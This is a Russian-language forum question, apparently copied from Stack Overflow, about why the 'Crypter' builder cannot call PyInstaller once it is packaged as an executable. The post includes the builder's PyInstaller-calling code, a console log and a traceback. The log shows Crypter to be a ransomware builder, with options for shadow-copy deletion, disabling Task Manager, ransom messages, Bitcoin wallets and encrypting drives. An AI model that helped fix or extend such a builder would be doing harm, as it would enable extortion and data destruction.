Ошибка сборки Crypter при превращении в исполняемый файлPython

Программы на Python
Anonymous
Ошибка сборки Crypter при превращении в исполняемый файл

Сообщение Anonymous »

Я превращаю программу Crypter в исполняемый файл с помощью PyInstaller, но когда я нажимаю «Создать», она останавливается при попытке вызвать PyInstaller. Он отлично работает при обычном запуске Builder.pyw не как исполняемый файл, а как python Builder.pyw. При запуске cmd и запуске pyinstaller --version я получаю правильную версию. Я даже выполнил pip install pyinstaller==3.6 в cmd, чтобы это была та же версия, что и в программе. Поскольку это не исполняемый файл, который работает нормально, я использовал виртуальную среду с версиями модулей, указанными в файле require.txt. Я использую версию Python 3.7.0.
def __run_pyinstaller(self, spec_path):
'''
@summary: Invokes PyInstaller with the generated SPEC file
@param spec_path: The path the the created PyInstaller SPEC file
'''
# Check for stop
if self.__stop_event.isSet():
raise UserHalt

self.__console_log(msg="Calling PyInstaller. Please wait...")

# Get PyInstaller location
pyinstaller_path = os.path.join(os.path.dirname(sys.executable), "pyinstaller.exe")
if not os.path.isfile(pyinstaller_path):
self.__console_log("PyInstaller not found at '%s'. Making system wide call instead" % pyinstaller_path,
debug_level=2)
pyinstaller_path = "pyinstaller"
else:
self.__console_log("PyInstaller found at '%s'" % pyinstaller_path,
debug_level=2)

# Build command
cmd = [
pyinstaller_path,
'--noconsole',
'--clean',
'-F',
]
if self.user_input_dict["upx_dir"]:
cmd.append("--upx-dir")
cmd.append(self.user_input_dict["upx_dir"])
else:
cmd.append("--noupx")
cmd.append(spec_path)

self.__console_log(msg="Running command: %s" % " ".join(cmd),
debug_level=2)

# Call PyInstaller subprocess
try:
build = subprocess.Popen(cmd,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
creationflags=0x08000000 # To prevent console window opening
)
except WindowsError as we:
raise BuildFailure(
ERROR_FILE_NOT_FOUND,
"Call to PyInstaller failed. Check that PyInstaller is installed and can be found"
" on the system path"
)

while True:
# Check for stop
if self.__stop_event.isSet():
build.kill()
raise UserHalt

line = build.stdout.readline()
if line:
self.__console_log(msg=line.rstrip(),
_class="PyInstaller",
debug_level=1)
else:
break


Это консоль внутри программы.
[2024-06-02 13:29:52]: Build Launched
[2024-06-02 13:29:52]: DEBUG Level: 1 - Low
[2024-06-02 13:29:52]: Builder: Checking configuration...
[2024-06-02 13:29:52]: Builder: Checking builder_language
[2024-06-02 13:29:53]: Builder: Checking pyinstaller_aes_key
[2024-06-02 13:29:53]: Builder: Checking icon_file
[2024-06-02 13:29:53]: Builder: Checking open_gui_on_login
[2024-06-02 13:29:53]: Builder: Checking time_delay
[2024-06-02 13:29:53]: Builder: Checking gui_title
[2024-06-02 13:29:53]: Builder: Checking upx_dir
[2024-06-02 13:29:53]: Builder: Checking delete_shadow_copies
[2024-06-02 13:29:53]: Builder: Checking disable_task_manager
[2024-06-02 13:29:53]: Builder: Checking key_destruction_time
[2024-06-02 13:29:54]: Builder: Checking wallet_address
[2024-06-02 13:29:54]: Builder: Checking bitcoin_fee
[2024-06-02 13:29:54]: Builder: Checking encrypt_attached_drives
[2024-06-02 13:29:54]: Builder: Checking encrypt_user_home
[2024-06-02 13:29:54]: Builder: Checking max_file_size_to_encrypt
[2024-06-02 13:29:54]: Builder: Checking filetypes_to_encrypt
[2024-06-02 13:29:54]: Builder: Checking encrypted_file_extension
[2024-06-02 13:29:54]: Builder: Checking make_gui_resizeable
[2024-06-02 13:29:54]: Builder: Checking always_on_top
[2024-06-02 13:29:55]: Builder: Checking background_colour
[2024-06-02 13:29:55]: Builder: Checking heading_font_colour
[2024-06-02 13:29:55]: Builder: Checking primary_font_colour
[2024-06-02 13:29:55]: Builder: Checking secondary_font_colour
[2024-06-02 13:29:55]: Builder: Checking ransom_message
[2024-06-02 13:29:55]: Builder: Checking debug_level
[2024-06-02 13:29:55]: Builder: Validation successful
[2024-06-02 13:29:55]: Builder: Encryption will target attached drives and the user's home directory
[2024-06-02 13:29:55]: Builder: Creating binary runtime config at ../CrypterBuilder\Resources\runtime.cfg
[2024-06-02 13:29:55]: Builder: Runtime config successfully written
[2024-06-02 13:29:55]: Builder: Creating PyInstaller SPEC file
[2024-06-02 13:29:55]: Builder: (Warning): UPX path not specified. The PyInstaller binary will not be packed. It is recommended that UPX is used as this can reduce the binary size by several Megabytes
[2024-06-02 13:29:55]: Builder: SPEC file successfully created
[2024-06-02 13:29:55]: Builder: Calling PyInstaller. Please wait...
[2024-06-02 13:29:55]: (ERROR): Builder: A Build failure occurred (2): Call to PyInstaller failed. Check that PyInstaller is installed and can be found on the system path
[2024-06-02 13:29:55]: Build finished with error

Я удалил исключение и попытку, посмотрел в консоли при включении Builder.py (я переименовал его в файл py вместо pyw) в исполняемый файл и получил это сообщение об ошибке.
Exception in thread Thread-1:
Traceback (most recent call last):
File "threading.py", line 917, in _bootstrap_inner
File "CrypterBuilder\BuilderThread.py", line 192, in run
File "CrypterBuilder\BuilderThread.py", line 306, in __run_pyinstaller
File "subprocess.py", line 756, in __init__
File "subprocess.py", line 1155, in _execute_child
FileNotFoundError: [WinError 2] The system cannot find the file specified


Подробнее здесь: https://stackoverflow.com/questions/785 ... executable

Вернуться в «Python»